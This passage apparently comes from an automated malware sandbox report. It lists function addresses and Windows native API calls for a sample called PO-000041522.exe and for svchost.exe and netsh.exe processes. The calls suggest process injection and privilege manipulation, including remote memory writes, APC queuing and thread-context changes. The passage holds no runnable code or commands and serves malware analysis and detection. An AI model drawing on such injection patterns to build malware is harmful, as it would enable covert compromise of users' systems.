            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072AB0 NtWaitForSingleObject,2_2_03072AB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072AD0 NtReadFile,2_2_03072AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072AF0 NtWriteFile,2_2_03072AF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072F30 NtCreateSection,2_2_03072F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072F60 NtCreateProcessEx,2_2_03072F60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072F90 NtProtectVirtualMemory,2_2_03072F90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072FA0 NtQuerySection,2_2_03072FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072FB0 NtResumeThread,2_2_03072FB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072FE0 NtCreateFile,2_2_03072FE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072E30 NtWriteVirtualMemory,2_2_03072E30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072E80 NtReadVirtualMemory,2_2_03072E80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072EA0 NtAdjustPrivilegesToken,2_2_03072EA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072EE0 NtQueueApcThread,2_2_03072EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072D00 NtSetInformationFile,2_2_03072D00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072D10 NtMapViewOfSection,2_2_03072D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072D30 NtUnmapViewOfSection,2_2_03072D30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072DB0 NtEnumerateKey,2_2_03072DB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072DD0 NtDelayExecution,2_2_03072DD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072C00 NtQueryInformationProcess,2_2_03072C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072C60 NtCreateKey,2_2_03072C60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072C70 NtFreeVirtualMemory,2_2_03072C70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072CA0 NtQueryInformationToken,2_2_03072CA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072CC0 NtQueryVirtualMemory,2_2_03072CC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03072CF0 NtOpenProcess,2_2_03072CF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03073010 NtOpenDirectoryObject,2_2_03073010
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03073090 NtSetValueKey,2_2_03073090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030739B0 NtGetContextThread,2_2_030739B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03073D10 NtOpenProcessToken,2_2_03073D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03073D70 NtOpenThread,2_2_03073D70
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01424340 NtSetContextThread,LdrInitializeThunk,11_2_01424340
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01424650 NtSuspendThread,LdrInitializeThunk,11_2_01424650
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422B60 NtClose,LdrInitializeThunk,11_2_01422B60
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422AD0 NtReadFile,LdrInitializeThunk,11_2_01422AD0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422AF0 NtWriteFile,LdrInitializeThunk,11_2_01422AF0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422D10 NtMapViewOfSection,LdrInitializeThunk,11_2_01422D10
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422D30 NtUnmapViewOfSection,LdrInitializeThunk,11_2_01422D30
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422DD0 NtDelayExecution,LdrInitializeThunk,11_2_01422DD0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422DF0 NtQuerySystemInformation,LdrInitializeThunk,11_2_01422DF0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422C60 NtCreateKey,LdrInitializeThunk,11_2_01422C60
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422C70 NtFreeVirtualMemory,LdrInitializeThunk,11_2_01422C70
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422CA0 NtQueryInformationToken,LdrInitializeThunk,11_2_01422CA0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422F30 NtCreateSection,LdrInitializeThunk,11_2_01422F30
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422FE0 NtCreateFile,LdrInitializeThunk,11_2_01422FE0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422FB0 NtResumeThread,LdrInitializeThunk,11_2_01422FB0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422EE0 NtQueueApcThread,LdrInitializeThunk,11_2_01422EE0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014235C0 NtCreateMutant,LdrInitializeThunk,11_2_014235C0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014239B0 NtGetContextThread,LdrInitializeThunk,11_2_014239B0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422BE0 NtQueryValueKey,11_2_01422BE0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422BF0 NtAllocateVirtualMemory,11_2_01422BF0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422B80 NtQueryInformationFile,11_2_01422B80
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422BA0 NtEnumerateValueKey,11_2_01422BA0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422AB0 NtWaitForSingleObject,11_2_01422AB0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422D00 NtSetInformationFile,11_2_01422D00
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422DB0 NtEnumerateKey,11_2_01422DB0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422C00 NtQueryInformationProcess,11_2_01422C00
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422CC0 NtQueryVirtualMemory,11_2_01422CC0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422CF0 NtOpenProcess,11_2_01422CF0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422F60 NtCreateProcessEx,11_2_01422F60
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422F90 NtProtectVirtualMemory,11_2_01422F90
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422FA0 NtQuerySection,11_2_01422FA0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422E30 NtWriteVirtualMemory,11_2_01422E30
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422E80 NtReadVirtualMemory,11_2_01422E80
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01422EA0 NtAdjustPrivilegesToken,11_2_01422EA0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01423010 NtOpenDirectoryObject,11_2_01423010
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01423090 NtSetValueKey,11_2_01423090
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01423D70 NtOpenThread,11_2_01423D70
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01423D10 NtOpenProcessToken,11_2_01423D10
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B28E70 NtCreateFile,11_2_00B28E70
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B28FE0 NtReadFile,11_2_00B28FE0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B290D0 NtDeleteFile,11_2_00B290D0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_00B29170 NtClose,11_2_00B29170
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00434D50
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_004461ED
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004120380_2_00412038
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004271610_2_00427161
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0047E1FA0_2_0047E1FA
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004212BE0_2_004212BE
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004433900_2_00443390
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004433910_2_00443391
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0041A46B0_2_0041A46B
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0041240C0_2_0041240C
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004465660_2_00446566
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004045E00_2_004045E0
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0041D7500_2_0041D750
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004037E00_2_004037E0
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004278590_2_00427859
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004128180_2_00412818
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0040F8900_2_0040F890
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0042397B0_2_0042397B
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00409A400_2_00409A40
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00411B630_2_00411B63
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0047CBF00_2_0047CBF0
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0044EBBC0_2_0044EBBC
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00412C380_2_00412C38
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0044ED9A0_2_0044ED9A
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00423EBF0_2_00423EBF
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00424F700_2_00424F70
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0041AF0D0_2_0041AF0D
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_03F356500_2_03F35650
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003B84032_2_003B8403
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003A30602_2_003A3060
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003A11A02_2_003A11A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003CEAD32_2_003CEAD3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003A24602_2_003A2460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003AFC532_2_003AFC53
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003B659F2_2_003B659F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003B65E32_2_003B65E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003B65DE2_2_003B65DE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003AFE732_2_003AFE73
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003ADEF32_2_003ADEF3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003ADEEB2_2_003ADEEB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003A46C42_2_003A46C4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_003A27E02_2_003A27E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FA3522_2_030FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304E3F02_2_0304E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031003E62_2_031003E6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E02742_2_030E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C02C02_2_030C02C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030301002_2_03030100
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DA1182_2_030DA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030C81582_2_030C8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F41A22_2_030F41A2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031001AA2_2_031001AA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F81CC2_2_030F81CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D20002_2_030D2000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030647502_2_03064750
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030407702_2_03040770
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303C7C02_2_0303C7C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305C6E02_2_0305C6E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030405352_2_03040535
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031005912_2_03100591
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E44202_2_030E4420
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F24462_2_030F2446
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EE4F62_2_030EE4F6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FAB402_2_030FAB40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F6BD72_2_030F6BD7
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303EA802_2_0303EA80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030569622_2_03056962
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030429A02_2_030429A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0310A9A62_2_0310A9A6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304A8402_2_0304A840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030428402_2_03042840
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030268B82_2_030268B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0306E8F02_2_0306E8F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03082F282_2_03082F28
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03060F302_2_03060F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E2F302_2_030E2F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B4F402_2_030B4F40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030BEFA02_2_030BEFA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03032FC82_2_03032FC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304CFE02_2_0304CFE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FEE262_2_030FEE26
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040E592_2_03040E59
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03052E902_2_03052E90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FCE932_2_030FCE93
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FEEDB2_2_030FEEDB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304AD002_2_0304AD00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DCD1F2_2_030DCD1F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03058DBF2_2_03058DBF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0303ADE02_2_0303ADE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03040C002_2_03040C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E0CB52_2_030E0CB5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03030CF22_2_03030CF2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F132D2_2_030F132D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302D34C2_2_0302D34C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0308739A2_2_0308739A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030452A02_2_030452A0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305B2C02_2_0305B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E12ED2_2_030E12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307516C2_2_0307516C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0302F1722_2_0302F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0310B16B2_2_0310B16B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0304B1B02_2_0304B1B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EF0CC2_2_030EF0CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030470C02_2_030470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F70E92_2_030F70E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FF0E02_2_030FF0E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FF7B02_2_030FF7B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030856302_2_03085630
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F16CC2_2_030F16CC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F75712_2_030F7571
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DD5B02_2_030DD5B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_031095C32_2_031095C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FF43F2_2_030FF43F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030314602_2_03031460
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FFB762_2_030FFB76
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305FB802_2_0305FB80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B5BF02_2_030B5BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0307DBF92_2_0307DBF9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FFA492_2_030FFA49
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F7A462_2_030F7A46
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B3A6C2_2_030B3A6C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030DDAAC2_2_030DDAAC
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03085AA02_2_03085AA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030E1AA32_2_030E1AA3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030EDAC62_2_030EDAC6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030D59102_2_030D5910
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030499502_2_03049950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305B9502_2_0305B950
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030AD8002_2_030AD800
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030438E02_2_030438E0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FFF092_2_030FFF09
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03041F922_2_03041F92
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FFFB12_2_030FFFB1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03003FD22_2_03003FD2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03003FD52_2_03003FD5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03049EB02_2_03049EB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03043D402_2_03043D40
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F1D5A2_2_030F1D5A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030F7D732_2_030F7D73
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0305FDC02_2_0305FDC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030B9C322_2_030B9C32
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030FFCF22_2_030FFCF2
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0147815811_2_01478158
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013E010011_2_013E0100
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0148A11811_2_0148A118
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014A81CC11_2_014A81CC
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014B01AA11_2_014B01AA
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014A41A211_2_014A41A2
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0148200011_2_01482000
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AA35211_2_014AA352
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014B03E611_2_014B03E6
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013FE3F011_2_013FE3F0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0149027411_2_01490274
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014702C011_2_014702C0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F053511_2_013F0535
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014B059111_2_014B0591
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014A244611_2_014A2446
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0149442011_2_01494420
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0149E4F611_2_0149E4F6
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0141475011_2_01414750
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F077011_2_013F0770
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013EC7C011_2_013EC7C0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0140C6E011_2_0140C6E0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0140696211_2_01406962
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F29A011_2_013F29A0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014BA9A611_2_014BA9A6
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013FA84011_2_013FA840
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F284011_2_013F2840
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013D68B811_2_013D68B8
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0141E8F011_2_0141E8F0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AAB4011_2_014AAB40
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014A6BD711_2_014A6BD7
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013EEA8011_2_013EEA80
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013FAD0011_2_013FAD00
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0148CD1F11_2_0148CD1F
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013EADE011_2_013EADE0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01408DBF11_2_01408DBF
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F0C0011_2_013F0C00
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013E0CF211_2_013E0CF2
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01490CB511_2_01490CB5
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01464F4011_2_01464F40
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01432F2811_2_01432F28
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01410F3011_2_01410F30
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01492F3011_2_01492F30
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013FCFE011_2_013FCFE0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0146EFA011_2_0146EFA0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013E2FC811_2_013E2FC8
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F0E5911_2_013F0E59
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AEE2611_2_014AEE26
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AEEDB11_2_014AEEDB
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_01402E9011_2_01402E90
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014ACE9311_2_014ACE93
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014BB16B11_2_014BB16B
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0142516C11_2_0142516C
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013DF17211_2_013DF172
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013FB1B011_2_013FB1B0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0149F0CC11_2_0149F0CC
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014A70E911_2_014A70E9
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AF0E011_2_014AF0E0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F70C011_2_013F70C0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014A132D11_2_014A132D
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013DD34C11_2_013DD34C
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0143739A11_2_0143739A
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0140B2C011_2_0140B2C0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F52A011_2_013F52A0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014912ED11_2_014912ED
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014A757111_2_014A7571
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0148D5B011_2_0148D5B0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013E146011_2_013E1460
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AF43F11_2_014AF43F
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AF7B011_2_014AF7B0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014A16CC11_2_014A16CC
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0140B95011_2_0140B950
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0148591011_2_01485910
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F995011_2_013F9950
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_0145D80011_2_0145D800
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_013F38E011_2_013F38E0
            Source: C:\Windows\SysWOW64\netsh.exeCode function: 11_2_014AFB7611_2_014AFB76
